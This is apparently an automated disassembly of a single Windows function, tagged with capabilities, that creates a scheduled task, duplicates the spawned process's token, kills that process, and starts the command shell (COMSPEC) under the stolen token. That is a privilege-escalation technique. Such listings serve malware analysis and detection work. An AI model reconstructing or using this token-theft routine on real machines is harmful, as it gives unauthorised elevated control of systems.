Function at 0x140001360
Capabilities:
Create process on windows
Get common file path
Get comspec environment variable
Query environment variable
Terminate process

Disassembly:
mov r11, rsp
sub rsp, 0x118
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x100], rax
xorps xmm1, xmm1
mov qword [r11 + 8], rbx
movups xmmword [rsp + 0x90], xmm1
mov qword [r11 + 0x10], rbp
xor eax, eax
mov qword [r11 + 0x18], rsi
xorps xmm0, xmm0
mov qword [r11 - 8], rdi
mov ecx, 0x208
mov rdi, 0xffffffffffffffff
mov qword [r11 - 0x28], rax
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x60], rdi
xor ebx, ebx
mov qword [rsp + 0x68], rdi
mov qword [r11 - 0x98], rax
movups xmmword [r11 - 0x78], xmm1
movups xmmword [r11 - 0x68], xmm1
movups xmmword [r11 - 0x58], xmm1
movups xmmword [r11 - 0x48], xmm1
movups xmmword [r11 - 0x38], xmm1
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x14000163a
mov r8d, 0x104
lea rcx, str.COMSPEC
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x140001422
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.GetEnvironmentVariable_COMSPEC__failed._Error___d_n
call fcn.140001010
jmp 0x14000163a
call fcn.1400016e0
mov ebp, eax
test eax, eax
jne 0x14000143e
lea rcx, str.____Failed_to_create_scheduled_task._n
call fcn.140001010
jmp 0x14000163a
mov edx, ebp
lea rcx, str.___Successfully_created_scheduled_task._PID_d_n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov r8d, ebp
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x140001494
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenProcess___failed._Error___d_n
call fcn.140001010
jmp 0x140001643
lea r8, [rsp + 0x60]
mov edx, 0xf01ff
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1400014c4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenProcessToken___failed._Error___d_n
call fcn.140001010
jmp 0x14000163a
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov r9d, 2
xor r8d, r8d
mov dword [rsp + 0x20], 1
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x14000150c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.DuplicateTokenEx___failed._Error:__d_n
call fcn.140001010
jmp 0x14000163a
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x14000152f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.DuplicateTokenEx___failed._Error:__d_n
call fcn.140001010
mov ecx, 0x208
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x14000163a
mov edx, 0x104
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x140001571
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.GetSystemDirectory___failed._Error:__d_n
call fcn.140001010
jmp 0x14000163a
xor ecx, ecx
mov dword [rsp + 0x90], 0x68
cmp dword [0x140009088], ecx
mov eax, 0x10
mov r8, rsi
cmove ecx, eax
mov rax, qword [0x140009748]
test rax, rax
cmovne r8, rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
xor r9d, r9d
lea rax, [rsp + 0x90]
xor edx, edx
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], ecx
mov rcx, qword [rsp + 0x68]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
jne 0x140001601
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcessAsUser___failed__Err:__d__n
call fcn.140001010
jmp 0x14000163a
lea rcx, str.___CreateProcessAsUser___OK_n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
cmp dword [0x140009088], 0
je 0x14000163a
mov rcx, qword [rsp + 0x70]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x110]
mov rbp, qword [rsp + 0x128]
test rcx, rcx
je 0x140001663
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140001673
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x140001681
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [rsp + 0x120]
test rsi, rsi
je 0x140001697
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x130]
test rcx, rcx
je 0x1400016af
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x1400016bf
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x100]
xor rcx, rsp
call fcn.1400035d0
add rsp, 0x118
ret